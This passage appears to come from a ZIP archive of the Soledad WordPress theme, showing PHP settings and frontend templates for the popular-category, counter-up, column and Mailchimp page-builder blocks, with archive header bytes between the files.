		'edit_field_class' => 'vc_col-sm-6',
		'true_state'       => 'yes',
		'false_state'      => 'no',
		'default'          => 'no',
		'std'              => 'no',
	)
);
$typo_params = array(
	array(
		'type'             => 'textfield',
		'param_name'       => 'heading_popularcat_settings',
		'heading'          => esc_html__( 'Popular cats', 'soledad' ),
		'value'            => '',
		'group'            => $group_color,
		'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
	),
	array(
		'type'             => 'colorpicker',
		'heading'          => esc_html__( 'Link Color', 'soledad' ),
		'param_name'       => 'plink_color',
		'group'            => $group_color,
		'edit_field_class' => 'vc_col-sm-6',
	),
	array(
		'type'             => 'colorpicker',
		'heading'          => esc_html__( 'Link Hover Color', 'soledad' ),
		'param_name'       => 'plink_hcolor',
		'group'            => $group_color,
		'edit_field_class' => 'vc_col-sm-6',
	),
	array(
		'type'       => 'penci_responsive_sizes',
		'param_name' => 'pcat_item_size',
		'heading'    => __( 'Font size for Link', 'soledad' ),
		'value'      => '',
		'std'        => '',
		'suffix'     => 'px',
		'min'        => 1,
		'group'      => $group_color,
	),
	array(
		'type'             => 'colorpicker',
		'heading'          => esc_html__( 'Post Counts  Text Color', 'soledad' ),
		'param_name'       => 'ppcount_color',
		'group'            => $group_color,
		'edit_field_class' => 'vc_col-sm-6',
	)
);

vc_map( array(
	'base'          => "penci_popular_cat",
	'icon'          => PENCI_SOLEDAD_URL . '/images/vc-icon.png',
	'category'      => penci_get_theme_name('Soledad'),
	'html_template' => PENCI_SOLEDAD_DIR . '/inc/js_composer/shortcodes/popular_cat/frontend.php',
	'weight'        => 700,
	'name'          => penci_get_theme_name('Penci').' '.__( 'Popular Cat', 'soledad' ),
	'description'   => __( 'Popular Cat Block', 'soledad' ),
	'controls'      => 'full',
	'params'        => array_merge( $main_params, $params_heading, $param_heading_typo_color, $typo_params, $extra_params )
) );
PK     N\FBl	  l	  3  inc/js_composer/shortcodes/popular_cat/frontend.phpnu [        <?php
/**
 * Shortcode attributes
 * @var $atts
 * @var $css_animation
 * @var $el_class
 * @var $css
 */

$el_class = $css_animation = $css = $responsive_spacing = '';

$atts = vc_map_get_attributes( $this->getShortcode(), $atts );
extract( $atts );

$class_to_filter = '';
$class_to_filter .= vc_shortcode_custom_css_class( $css, ' ' ) . $this->getExtraClass( $el_class ) . $this->getCSSAnimation( $css_animation );

$css_class = 'penci-block-vc penci-block-popular-cat widget_categories widget widget_categories';
$css_class .= ' ' . apply_filters( VC_SHORTCODE_CUSTOM_CSS_FILTER_TAG, $class_to_filter, $this->settings['base'], $atts );

$block_id = Penci_Vc_Helper::get_unique_id_block( 'popular_cat' );

$c          = 'yes' == $atts['pcount'] ? '1' : '0';
$h          = 'yes' == $atts['phierarchical'] ? '1' : '0';
$limit      = $atts['plimit'] ? $atts['plimit'] : 6;
$exclude    = 'yes' == $atts['phide_uncat'] ? '1' : '';
$hide_empty = 'yes' != $atts['pcount'];

$cat_args = array(
	'show_count'   => $c,
	'hierarchical' => $h,
	'hide_empty'   => $hide_empty,
	'number'       => $limit,
	'title_li'     => '',
	'exclude'      => $exclude
);
?>
<div id="<?php echo esc_attr( $block_id ) ?>" class="<?php echo esc_attr( $css_class ); ?>">
	<?php Penci_Vc_Helper::markup_block_title( $atts ); ?>
    <div class="penci-div-inner">
        <ul>
			<?php
			wp_list_categories( $cat_args );
			?>
        </ul>
    </div>
</div>
<?php
$block_id_css = '#' . $block_id;
$block_id_css2 = 'body:not(.pcdm-enable) #' . $block_id;
$css_custom   = '';

$css_custom .= Penci_Vc_Helper::get_heading_block_css( $block_id_css, $atts );

if ( $atts['plink_color'] ) {
	$css_custom .= $block_id_css2 . ' ul li a{ color: ' . esc_attr( $atts['plink_color'] ) . '; }';
}
if ( $atts['plink_hcolor'] ) {
	$css_custom .= $block_id_css2 . ' ul li a:hover{ color: ' . esc_attr( $atts['plink_hcolor'] ) . '; }';
}

if ( $atts['pcat_item_size'] ) {
	$css_custom .= penci_extract_md_responsive_fsize( $block_id_css . ' ul li a{ font-size: {{VALUE}}px; }', $atts['pcat_item_size'] );
}
if ( $atts['ppcount_color'] ) {
	$css_custom .= $block_id_css2 . ' ul li a .category-item-count{ color: ' . esc_attr( $atts['ppcount_color'] ) . '; }';
}

if ( $responsive_spacing ) {
	$css_custom .= penci_extract_spacing_style( $block_id_css, $responsive_spacing );
}

if ( $css_custom ) {
	echo '<style>';
	echo $css_custom;
	echo '</style>';
}
?>
PK     N\gF  gF  2  inc/js_composer/shortcodes/counter_up/settings.phpnu [        <?php
$group_color = 'Typo & Color';

vc_map( array(
	'base'          => 'penci_counter_up',
	'icon'          => PENCI_SOLEDAD_URL . '/images/vc-icon.png',
	'category'      => penci_get_theme_name( 'Soledad' ),
	'html_template' => PENCI_SOLEDAD_DIR . '/inc/js_composer/shortcodes/counter_up/frontend.php',
	'weight'        => 700,
	'name'          => penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( 'Counter Up', 'soledad' ),
	'description'   => __( 'Counter Up Block', 'soledad' ),
	'controls'      => 'full',
	'params'        => array_merge(
		Penci_Vc_Params_Helper::params_container_width(),
		array(
			array(
				'type'       => 'dropdown',
				'heading'    => esc_html__( 'Counter Up style', 'soledad' ),
				'param_name' => 'cup_style',
				'std'        => 's1',
				'value'      => array(
					esc_html__( 'Style 1', 'soledad' ) => 's1',
					esc_html__( 'Style 2', 'soledad' ) => 's2',
				),
			),
			array(
				'type'       => 'dropdown',
				'heading'    => __( 'Posttion', 'soledad' ),
				'param_name' => 'cup_align',
				'value'      => array(
					__( 'Align Center', 'soledad' ) => 'center',
					__( 'Align Left', 'soledad' )   => 'left',
					__( 'Align Right', 'soledad' )  => 'right',
				),
				'std'        => 'center',
				'dependency' => array( 'element' => 'cup_style', 'value' => 's1' ),
			),
			array(
				'type'       => 'textfield',
				'heading'    => esc_html__( 'Number', 'soledad' ),
				'param_name' => 'cup_number'
			),
			array(
				'type'       => 'textfield',
				'heading'    => esc_html__( 'Prefix of number', 'soledad' ),
				'param_name' => 'cup_prefix_number'
			),
			array(
				'type'       => 'textfield',
				'heading'    => esc_html__( 'Suffix of number', 'soledad' ),
				'param_name' => 'cup_suffix_number',
			),
			array(
				'type'        => 'textfield',
				'heading'     => esc_html__( 'Title', 'soledad' ),
				'param_name'  => 'cup_title',
				'admin_label' => true
			),
			array(
				'type'       => 'dropdown',
				'heading'    => esc_html__( 'Icon type', 'soledad' ),
				'param_name' => 'cup_icon_type',
				'value'      => array(
					esc_html__( 'Icon', 'soledad' )  => 'icon',
					esc_html__( 'Image', 'soledad' ) => 'image',
				),
			),
			array(
				'type'       => 'attach_image',
				'heading'    => esc_html__( 'Image', 'soledad' ),
				'param_name' => 'cup_image',
				'dependency' => array( 'element' => 'cup_icon_type', 'value' => 'image' ),
			),
			array(
				'type'       => 'textfield',
				'heading'    => __( 'Image size', 'soledad' ),
				'param_name' => 'img_size',
				'std'        => 'full',
				'dependency' => array( 'element' => 'cup_icon_type', 'value' => 'image' ),
			),
			array(
				'type'       => 'iconpicker',
				'heading'    => __( 'Icon', 'soledad' ),
				'param_name' => 'cup_icon',
				'value'      => '',
				'settings'   => array( 'emptyIcon' => true, 'iconsPerPage' => 4000 ),
				'dependency' => array( 'element' => 'cup_icon_type', 'value' => 'icon' )
			),
			array(
				'type'       => 'dropdown',
				'heading'    => __( 'Icon Border Style', 'soledad' ),
				'param_name' => 'icon_border_style',
				'value'      => array(
					esc_html__( 'None', 'soledad' )   => '',
					esc_html__( 'Solid', 'soledad' )  => 'solid',
					esc_html__( 'Dashed', 'soledad' ) => 'dashed',
					esc_html__( 'Dotted', 'soledad' ) => 'dotted',
					esc_html__( 'Double', 'soledad' ) => 'double',
				),
				'dependency' => array( 'element' => 'cup_icon_type', 'value' => 'icon' ),
			),
			array(
				'type'             => 'penci_responsive_sizes',
				'param_name'       => 'icon_border_width',
				'heading'          => __( 'Border width for Icon', 'soledad' ),
				'suffix'           => 'px',
				'min'              => 1,
				'edit_field_class' => 'vc_col-sm-6',
				'dependency'       => array(
					'element' => 'icon_border_style',
					'value'   => array( 'solid', 'dashed', 'dotted', 'double' )
				),
			),
			array(
				'type'             => 'penci_responsive_sizes',
				'param_name'       => 'icon_border_radius',
				'heading'          => __( 'Border radius for Icon', 'soledad' ),
				'suffix'           => 'px',
				'min'              => 1,
				'edit_field_class' => 'vc_col-sm-6',
				'dependency'       => array(
					'element' => 'icon_border_style',
					'value'   => array( 'solid', 'dashed', 'dotted', 'double' )
				),
			),
			array(
				'type'             => 'penci_responsive_sizes',
				'param_name'       => 'icon_padding',
				'heading'          => __( 'Padding for Icon', 'soledad' ),
				'suffix'           => 'px',
				'min'              => 1,
				'edit_field_class' => 'vc_col-sm-6',
				'dependency'       => array( 'element' => 'icon_size', 'value' => 'custom' ),
			),
			array(
				'type'             => 'penci_responsive_sizes',
				'param_name'       => '_image_width_height',
				'heading'          => __( 'Image with/height', 'soledad' ),
				'suffix'           => 'px',
				'min'              => 1,
				'edit_field_class' => 'vc_col-sm-6',
				'dependency'       => array( 'element' => 'cup_icon_type', 'value' => 'image' ),
			),
			array(
				'type'             => 'penci_responsive_sizes',
				'param_name'       => 'icon_margin_bottom',
				'heading'          => __( 'Custom margin bottom for Icon or Image', 'soledad' ),
				'suffix'           => 'px',
				'min'              => 1,
				'edit_field_class' => 'vc_col-sm-6',
			),
			array(
				'type'             => 'penci_responsive_sizes',
				'param_name'       => 'number_margin_top',
				'heading'          => __( 'Custom margin top for number', 'soledad' ),
				'suffix'           => 'px',
				'min'              => 1,
				'edit_field_class' => 'vc_col-sm-6',
			),
			array(
				'type'             => 'penci_responsive_sizes',
				'param_name'       => 'number_padding_lr',
				'heading'          => __( 'Custom padding left/right for number', 'soledad' ),
				'suffix'           => 'px',
				'min'              => 1,
				'edit_field_class' => 'vc_col-sm-6',
			),
			array(
				'type'             => 'penci_responsive_sizes',
				'param_name'       => 'title_margin_top',
				'heading'          => __( 'Custom margin top for title', 'soledad' ),
				'suffix'           => 'px',
				'min'              => 1,
				'edit_field_class' => 'vc_col-sm-6',
			),
			array(
				'type'       => 'textfield',
				'heading'    => esc_html__( 'Delay', 'soledad' ),
				'param_name' => 'cup_delay',
			),
			array(
				'type'       => 'textfield',
				'heading'    => esc_html__( 'Time', 'soledad' ),
				'param_name' => 'cup_time',
			),
			// Heading
			array(
				'type'        => 'penci_switch',
				'heading'     => __( 'Show Heading Title', 'soledad' ),
				'param_name'  => 'show_block_heading',
				'true_state'  => 'yes',
				'false_state' => 'no',
				'default'     => 'no',
				'std'         => 'no',
				'group'       => 'Heading',
			),
			array(
				'type'       => 'dropdown',
				'heading'    => esc_html__( 'Heading Title Style', 'soledad' ),
				'param_name' => 'heading_title_style',
				'std'        => '',
				'value'      => array(
					esc_html__( 'Default ( follow Customize )', 'soledad' ) => '',
					esc_html__( 'Style 1', 'soledad' )                      => 'style-1',
					esc_html__( 'Style 2', 'soledad' )                      => 'style-2',
					esc_html__( 'Style 3', 'soledad' )                      => 'style-3',
					esc_html__( 'Style 4', 'soledad' )                      => 'style-4',
					esc_html__( 'Style 5', 'soledad' )                      => 'style-5',
					esc_html__( 'Style 6', 'soledad' )                      => 'style-6',
					esc_html__( 'Style 7', 'soledad' )                      => 'style-7',
					esc_html__( 'Style 8', 'soledad' )                      => 'style-9',
					esc_html__( 'Style 9', 'soledad' )                      => 'style-8',
					esc_html__( 'Style 10', 'soledad' )                     => 'style-10',
					esc_html__( 'Style 11', 'soledad' )                     => 'style-11',
					esc_html__( 'Style 12', 'soledad' )                     => 'style-12',
					esc_html__( 'Style 13', 'soledad' )                     => 'style-13',
					esc_html__( 'Style 14', 'soledad' )                     => 'style-14',
					esc_html__( 'Style 15', 'soledad' )                     => 'style-15',
					esc_html__( 'Style 16', 'soledad' )                     => 'style-16',
					esc_html__( 'Style 17', 'soledad' )                     => 'style-2 style-17',
					esc_html__( 'Style 18', 'soledad' )                     => 'style-18',
					esc_html__( 'Style 19', 'soledad' )                     => 'style-18 style-19',
					esc_html__( 'Style 20', 'soledad' )                     => 'style-18 style-20',
					esc_html__( 'Style 21', 'soledad' )                     => 'style-21',
					esc_html__( 'Style 22', 'soledad' )                     => 'style-22',
					esc_html__( 'Style 23', 'soledad' )                     => 'style-23',
					esc_html__( 'Style 24', 'soledad' )                     => 'style-24',
					esc_html__( 'Style 25', 'soledad' )                     => 'style-25',
					esc_html__( 'Style 26', 'soledad' )                     => 'style-26',
					esc_html__( 'Style 27', 'soledad' )                     => 'style-27',
					esc_html__( 'Style 28', 'soledad' )                     => 'style-28',
				),
				'group'      => 'Heading',
			),
			array(
				'type'        => 'textfield',
				'heading'     => esc_html__( 'Heading Title', 'soledad' ),
				'param_name'  => 'heading',
				'value'       => esc_html__( 'Heading Title', 'soledad' ),
				'std'         => esc_html__( 'Heading Title', 'soledad' ),
				'admin_label' => true,
				'description' => esc_html__( 'A title for this block, if you leave it blank the block will not have a title', 'soledad' ),
				'group'       => 'Heading',
			),
			array(
				'type'        => 'textfield',
				'heading'     => esc_html__( 'Title Url', 'soledad' ),
				'param_name'  => 'heading_title_link',
				'std'         => '',
				'description' => esc_html__( 'A custom url when the block title is clicked', 'soledad' ),
				'group'       => 'Heading',
			),
			array(
				'type'       => 'dropdown',
				'heading'    => esc_html__( 'Heading Align', 'soledad' ),
				'param_name' => 'heading_title_align',
				'std'        => '',
				'value'      => array(
					esc_html__( 'Default ( follow Customize )', 'soledad' ) => '',
					esc_html__( 'Left', 'soledad' )                         => 'pcalign-left',
					esc_html__( 'Center', 'soledad' )                       => 'pcalign-center',
					esc_html__( 'Right', 'soledad' )                        => 'pcalign-right',
				),
				'group'      => 'Heading',
			),
			array(
				'type'        => 'dropdown',
				'heading'     => 'Align Icon on Style 15',
				'value'       => array(
					'Default( follow Customize )' => '',
					'Right'                       => 'pciconp-right',
					'Left'                        => 'pciconp-left',
				),
				'param_name'  => 'heading_icon_pos',
				'description' => '',
				'dependency'  => array( 'element' => 'heading_title_style', 'value' => array( 'style-15' ) ),
				'group'       => 'Heading',
			),
			array(
				'type'        => 'dropdown',
				'heading'     => 'Custom Icon on Style 15',
				'value'       => array(
					'Default( follow Customize )' => '',
					'Arrow Right'                 => 'pcicon-right',
					'Arrow Left'                  => 'pcicon-left',
					'Arrow Down'                  => 'pcicon-down',
					'Arrow Up'                    => 'pcicon-up',
					'Star'                        => 'pcicon-star',
					'Bars'                        => 'pcicon-bars',
					'File'                        => 'pcicon-file',
					'Fire'                        => 'pcicon-fire',
					'Book'                        => 'pcicon-book',
				),
				'param_name'  => 'heading_icon',
				'description' => '',
				'dependency'  => array( 'element' => 'heading_title_style', 'value' => array( 'style-15' ) ),
				'group'       => 'Heading',
			),
		),
		Penci_Vc_Params_Helper::params_heading_typo_color(),
		// Color
		array(
			array(
				'type'             => 'textfield',
				'param_name'       => 'cup_icon_heading',
				'heading'          => esc_html__( 'Icon', 'soledad' ),
				'value'            => '',
				'group'            => $group_color,
				'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
			),
			array(
				'type'             => 'colorpicker',
				'heading'          => esc_html__( 'Icon color', 'soledad' ),
				'param_name'       => 'cup_icon_color',
				'group'            => $group_color,
				'edit_field_class' => 'vc_col-sm-6',
			),
			array(
				'type'             => 'colorpicker',
				'heading'          => esc_html__( 'Icon background color', 'soledad' ),
				'param_name'       => 'cup_icon_bgcolor',
				'group'            => $group_color,
				'edit_field_class' => 'vc_col-sm-6',
			),
			array(
				'type'             => 'penci_responsive_sizes',
				'param_name'       => 'cup_icon_size',
				'heading'          => __( 'Font size for Icon', 'soledad' ),
				'suffix'           => 'px',
				'min'              => 1,
				'edit_field_class' => 'vc_col-sm-6',
				'group'            => $group_color,
			),
			array(
				'type'             => 'textfield',
				'param_name'       => 'cup_number_heading',
				'heading'          => esc_html__( 'Number', 'soledad' ),
				'value'            => '',
				'group'            => $group_color,
				'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
			),
			array(
				'type'             => 'colorpicker',
				'heading'          => esc_html__( 'Number Color', 'soledad' ),
				'param_name'       => 'cup_number_color',
				'group'            => $group_color,
				'edit_field_class' => 'vc_col-sm-6',
			),
			array(
				'type'       => 'google_fonts',
				'group'      => $group_color,
				'param_name' => 'cup_number_typo',
				'value'      => '',
			),
			array(
				'type'             => 'penci_responsive_sizes',
				'param_name'       => 'cup_number_size',
				'heading'          => __( 'Font Size for Number', 'soledad' ),
				'suffix'           => 'px',
				'min'              => 1,
				'edit_field_class' => 'vc_col-sm-6',
				'group'            => $group_color,
			),
			array(
				'type'       => 'dropdown',
				'heading'    => __( 'Font Weight for Number', 'soledad' ),
				'param_name' => 'cup_number_weight',
				'std'        => 's1',
				'value'      => array(
					__( 'Default', 'soledad' ) => '',
					'Normal'                   => 'normal',
					'Bold'                     => 'bold',
					'Bolder'                   => 'bolder',
					'Lighter'                  => 'lighter',
					'100'                      => '100',
					'200'                      => '200',
					'300'                      => '300',
					'400'                      => '400',
					'500'                      => '500',
					'600'                      => '600',
					'700'                      => '700',
					'800'                      => '800',
					'900'                      => '900'
				),
				'group'      => $group_color,
			),
			array(
				'type'             => 'textfield',
				'param_name'       => 'cup_prefix_suffix_heading',
				'heading'          => esc_html__( 'Prefix and Suffix', 'soledad' ),
				'value'            => '',
				'group'            => $group_color,
				'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
			),
			array(
				'type'             => 'colorpicker',
				'heading'          => esc_html__( 'Prefix and Suffix Color', 'soledad' ),
				'param_name'       => 'cup_frefix_color',
				'group'            => $group_color,
				'edit_field_class' => 'vc_col-sm-6',
			),
			array(
				'type'       => 'google_fonts',
				'group'      => $group_color,
				'param_name' => 'cup_frefix_typo',
				'value'      => '',
			),
			array(
				'type'             => 'penci_responsive_sizes',
				'heading'          => esc_html__( 'Font size for Prefix and Suffix', 'soledad' ),
				'param_name'       => 'cup_frefix_size',
				'group'            => $group_color,
				'edit_field_class' => 'vc_col-sm-6',
			),
			array(
				'type'             => 'textfield',
				'param_name'       => 'cup_title_heading',
				'heading'          => esc_html__( 'Title', 'soledad' ),
				'value'            => '',
				'group'            => $group_color,
				'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
			),
			array(
				'type'             => 'colorpicker',
				'heading'          => esc_html__( 'Title color', 'soledad' ),
				'param_name'       => 'cup_title_color',
				'group'            => $group_color,
				'edit_field_class' => 'vc_col-sm-6',
			),
			array(
				'type'       => 'google_fonts',
				'group'      => $group_color,
				'param_name' => 'cup_title_typo',
				'value'      => '',
			),
			array(
				'type'             => 'penci_responsive_sizes',
				'param_name'       => 'cup_title_size',
				'heading'          => __( 'Font size for Title', 'soledad' ),
				'suffix'           => 'px',
				'min'              => 1,
				'edit_field_class' => 'vc_col-sm-6',
				'group'            => $group_color,
			),
			array(
				'type'       => 'dropdown',
				'heading'    => __( 'Font Weight for Number', 'soledad' ),
				'param_name' => 'cup_title_weight',
				'std'        => 's1',
				'value'      => array(
					__( 'Default', 'soledad' ) => '',
					'Normal'                   => 'normal',
					'Bold'                     => 'bold',
					'Bolder'                   => 'bolder',
					'Lighter'                  => 'lighter',
					'100'                      => '100',
					'200'                      => '200',
					'300'                      => '300',
					'400'                      => '400',
					'500'                      => '500',
					'600'                      => '600',
					'700'                      => '700',
					'800'                      => '800',
					'900'                      => '900'
				),
				'group'      => $group_color,
			),
		),
		Penci_Vc_Params_Helper::extra_params()
	)
) );
PK     N\n    2  inc/js_composer/shortcodes/counter_up/frontend.phpnu [        <?php
$output = $penci_block_width = $el_class = $css_animation = $css = '';

$cup_style          = $cup_align = $cup_number = $cup_prefix_number = $cup_suffix_number = $cup_title = '';
$cup_icon_type      = $cup_image = $img_size = $cup_icon = $icon_border_style = $icon_border_width = '';
$icon_border_radius = $icon_padding = $_image_width_height = $icon_margin_bottom = $number_margin_top = $number_padding_lr = '';
$title_margin_top   = $button_margin_top = $button_margin_bottom = $cup_delay = $cup_time = '';

$cup_icon_color   = $cup_icon_bgcolor = $cup_icon_size = '';
$cup_number_color = $cup_number_typo = $cup_number_size = $cup_number_weight = '';
$cup_frefix_color = $cup_frefix_size = $cup_frefix_typo = '';
$cup_title_color  = $cup_title_typo = $cup_title_size = $cup_title_weight = $responsive_spacing = '';

$atts = vc_map_get_attributes( $this->getShortcode(), $atts );
extract( $atts );

$class_to_filter = vc_shortcode_custom_css_class( $css, ' ' ) . $this->getExtraClass( $el_class ) . $this->getCSSAnimation( $css_animation );

$css_class = 'penci-counter-up';
$css_class .= ' penci-style-' . $cup_style;
$css_class .= ' penci-counterup-' . $cup_align;
$css_class .= ' ' . apply_filters( VC_SHORTCODE_CUSTOM_CSS_FILTER_TAG, $class_to_filter, $this->settings['base'], $atts );

$block_id = Penci_Vc_Helper::get_unique_id_block( 'counter_up' );
?>
    <div id="<?php echo esc_attr( $block_id ); ?>" class="<?php echo esc_attr( $css_class ); ?>">
		<?php
		if ( isset( $atts['show_block_heading'] ) && 'yes' == $atts['show_block_heading'] ) {
			Penci_Vc_Helper::markup_block_title( $atts );
		}
		?>
        <div class="penci-counter-up_inner">
			<?php
			if ( 'icon' == $cup_icon_type ) {
				vc_icon_element_fonts_enqueue( 'fontawesome' );
				if ( $cup_icon ) {
					$icon = '<div class="penci-cup_icon penci-cup_icon--icon">';
					$icon .= '<i class="penci-cup_iconn--i ' . $cup_icon . '"></i>';
					$icon .= '</div>';
					echo $icon;
				}
			} elseif ( $cup_image ) {
				$icon = '<div class="penci-cup_icon penci-cup_icon--image">';
				$icon .= '<img alt="" src="' . esc_url( wp_get_attachment_url( $cup_image ) ) . '">';
				$icon .= '</div>';

				echo $icon;
			}
			$data_delay  = $cup_delay ? $cup_delay : 0;
			$data_time   = $cup_time ? $cup_time : 2000;
			$data_number = $cup_number ? $cup_number : 0;
			?>
            <div class="penci-cup-info">
                <div class="penci-cup-number-wrapper">
				<span class="penci-span-inner">
				<?php if ( $cup_prefix_number ): ?><span
                        class="penci-cup-label penci-cup-prefix"><?php echo $cup_prefix_number; ?></span><?php endif; ?>
					<span class="penci-counterup-number" data-delay="<?php echo $data_delay; ?>"
                          data-time="<?php echo $data_time; ?>" data-count="<?php echo $data_number; ?>">0</span>
					<?php if ( $cup_suffix_number ): ?><span
                            class="penci-cup-label penci-cup-postfix"><?php echo $cup_suffix_number; ?></span><?php endif; ?>
				</span>
                </div>
				<?php if ( $cup_title ): ?>
                    <div class="penci-cup-title"><?php echo $cup_title; ?></div><?php endif; ?>
            </div>
        </div>
    </div>
<?php
$id_counter_up = '#' . $block_id;
$id_counter_up2 = 'body:not(.pcdm-enable) #' . $block_id;

$css_custom = Penci_Vc_Helper::get_heading_block_css( $id_counter_up, $atts );

if ( 'icon' == $cup_icon_type ) {
	if ( $icon_border_style ) {
		$css_custom .= $id_counter_up . ' .penci-cup_icon{ border-style: ' . ( $icon_border_style ) . ' }';

		if ( $icon_border_radius ) {
			$css_custom .= $id_counter_up . ' .penci-cup_icon{ border-radius: ' . ( $icon_border_radius ) . ' }';
		}
		if ( $icon_border_width ) {
			$css_custom .= $id_counter_up . ' .penci-cup_icon{ border-width: ' . ( $icon_border_width ) . ' }';
		} else {
			$css_custom .= $id_counter_up . ' .penci-cup_icon{ border-width: 1px; }';
		}
	}
}

if ( $icon_padding ) {
	$css_custom .= penci_extract_md_responsive_fsize( $id_counter_up . ' .penci-cup_icon{ padding: {{VALUE}}px }', $icon_padding );
}

if ( $_image_width_height ) {
	$css_custom .= penci_extract_md_responsive_fsize( $id_counter_up . ' .penci-cup_icon{ width: {{VALUE}}px;height: {{VALUE}}px }', $_image_width_height );
}
if ( $icon_margin_bottom ) {
	$css_custom .= penci_extract_md_responsive_fsize( $id_counter_up . ' .penci-cup_icon{ margin-bottom: {{VALUE}}px }', $icon_margin_bottom );
}

if ( $number_margin_top ) {
	$css_custom .= penci_extract_md_responsive_fsize( $id_counter_up . ' .penci-cup-number-wrapper{ margin-top: {{VALUE}}px }', $number_margin_top );
}

if ( $number_padding_lr ) {
	$css_custom .= penci_extract_md_responsive_fsize( $id_counter_up . ' .penci-counterup-number{ margin-left: {{VALUE}}px; margin-right: {{VALUE}}px; }', $number_padding_lr );
}

if ( $title_margin_top ) {
	$css_custom .= penci_extract_md_responsive_fsize( $id_counter_up . ' .penci-cup-title{ margin-top: {{VALUE}}px }', $title_margin_top );
}

$icon_custom_css_color = '';
if ( $cup_icon_color ) {
	$icon_custom_css_color .= 'color: ' . ( $cup_icon_color ) . ';';
}
if ( $cup_icon_bgcolor ) {
	$icon_custom_css_color .= 'background-color: ' . ( $cup_icon_bgcolor ) . ';';
}
if ( $cup_icon_size ) {
	$icon_custom_css_color .= 'font-size: ' . ( $cup_icon_size ) . ';';
}
if ( $icon_custom_css_color ) {
	$css_custom .= $id_counter_up . ' .penci-cup_icon{' . ( $icon_custom_css_color ) . '}';
}

$number_custom_css_color = '';
if ( $cup_number_color ) {
	$number_custom_css_color .= 'color: ' . ( $cup_number_color ) . ';';
}
if ( $cup_number_weight ) {
	$number_custom_css_color .= 'font-weight: ' . ( $cup_number_weight ) . ';';
}
if ( $number_custom_css_color ) {
	$css_custom .= $id_counter_up . ' .penci-counterup-number{' . ( $number_custom_css_color ) . '}';
}
$css_custom .= Penci_Vc_Helper::vc_google_fonts_parse_attributes( array(
	'font_size'  => $cup_number_size,
	'font_style' => $cup_number_typo,
	'template'   => $id_counter_up . ' .penci-counterup-number{ %s }',
) );

if ( $cup_frefix_color ) {
	$css_custom .= $id_counter_up . ' .penci-cup-label { color: ' . ( $cup_frefix_color ) . ';}';
}
$css_custom .= Penci_Vc_Helper::vc_google_fonts_parse_attributes( array(
	'font_size'  => $cup_frefix_size,
	'font_style' => $cup_frefix_typo,
	'template'   => $id_counter_up . ' .penci-cup-label{ %s }',
) );

$title_custom_css_color = '';
if ( $cup_title_color ) {
	$title_custom_css_color .= 'color: ' . ( $cup_title_color ) . ';';
}
if ( $cup_title_weight ) {
	$title_custom_css_color .= 'font-weight: ' . ( $cup_title_weight ) . ';';
}
if ( $title_custom_css_color ) {
	$css_custom .= $id_counter_up . ' .penci-cup-title{' . ( $title_custom_css_color ) . '}';
}
$css_custom .= Penci_Vc_Helper::vc_google_fonts_parse_attributes( array(
	'font_size'  => $cup_title_size,
	'font_style' => $cup_title_typo,
	'template'   => $id_counter_up . ' .penci-cup-title{ %s }',
) );

if ( $responsive_spacing ) {
	$css_custom .= penci_extract_spacing_style( $id_counter_up, $responsive_spacing );
}


if ( $css_custom ) {
	echo '<style>';
	echo $css_custom;
	echo '</style>';
}
PK     N\    .  inc/js_composer/shortcodes/column/settings.phpnu [        <?php
vc_map( array(
	'base'                      => "penci_column",
	'icon'                      => PENCI_SOLEDAD_URL . '/images/vc-icon.png',
	'category'                  => 'Soledad',
	'html_template'             => PENCI_SOLEDAD_DIR . '/inc/js_composer/shortcodes/column/frontend.php',
	'weight'                    => 700,
	'name'                      => __( 'Column', 'soledad' ),
	'class'                     => 'vc_main-sortable-element',
	'wrapper_class'             => '',
	'controls'                  => 'full',
	'allowed_container_element' => false,
	'content_element'           => false,
	'is_container'              => true,
	'params'                    => array(
		array(
			'type'       => 'hidden',
			'param_name' => 'width',
		),
		array(
			'type'       => 'hidden',
			'param_name' => 'class_layout',
		),
		array(
			'type'       => 'hidden',
			'param_name' => 'order',
		),
	),
	'js_view'                   => 'VcColumnView',
) );PK     N\1gܿ    .  inc/js_composer/shortcodes/column/frontend.phpnu [        <?php
$el_class = $el_id = $width = $css = $offset = $css_animation = $order = '';
$output = '';
$atts = vc_map_get_attributes( $this->getShortcode(), $atts );
extract( $atts );

wp_enqueue_script( 'wpb_composer_front_js' );

$width = penci_wpb_translateColumnWidthToSpan( $width, $order );
$css_classes = array(
	$this->getExtraClass( $el_class ) . $this->getCSSAnimation( $css_animation ),
	'penci-vc-column',
	$width
);

$wrapper_attributes = array();
$css_class = preg_replace( '/\s+/', ' ', apply_filters( VC_SHORTCODE_CUSTOM_CSS_FILTER_TAG, implode( ' ', array_filter( $css_classes ) ), $this->settings['base'], $atts ) );
$wrapper_attributes[] = 'class="' . esc_attr( trim( $css_class ) ) . '"';
if ( ! empty( $el_id ) ) {
	$wrapper_attributes[] = 'id="' . esc_attr( $el_id ) . '"';
}
$output .= '<div ' . implode( ' ', $wrapper_attributes ) . '>';
$innerColumnClass = 'penci-column-inner ' . esc_attr( trim( vc_shortcode_custom_css_class( $css ) ) );
$output .= '<div class="' . trim( $innerColumnClass ) . '">';
$output .= '<div class="wpb_wrapper">';
$output .= wpb_js_remove_wpautop( $content );
$output .= '</div>';
$output .= '</div>';
$output .= '</div>';

// @codingStandardsIgnoreLine
echo $output;
PK     N\XR    1  inc/js_composer/shortcodes/mailchimp/settings.phpnu [        <?php
$group_icon  = 'Icon';
$group_color = 'Typo & Color';

vc_map( array(
	'base'          => "penci_mailchimp",
	'icon'          => PENCI_SOLEDAD_URL . '/images/vc-icon.png',
	'category'      => penci_get_theme_name( 'Soledad' ),
	'html_template' => PENCI_SOLEDAD_DIR . '/inc/js_composer/shortcodes/mailchimp/frontend.php',
	'weight'        => 775,
	'name'          => penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( 'Mailchimp', 'soledad' ),
	'description'   => 'Mailchimp Block',
	'controls'      => 'full',
	'params'        => array_merge( array(
		array(
			'type'        => 'dropdown',
			'heading'     => esc_html__( 'Choose Style your sign-up form', 'soledad' ),
			'param_name'  => 'mailchimp_style',
			'std'         => 's1',
			'value'       => array(
				esc_html__( 'Default', 'soledad' )        => 's1',
				esc_html__( 'Boxed One Line', 'soledad' ) => 's2',
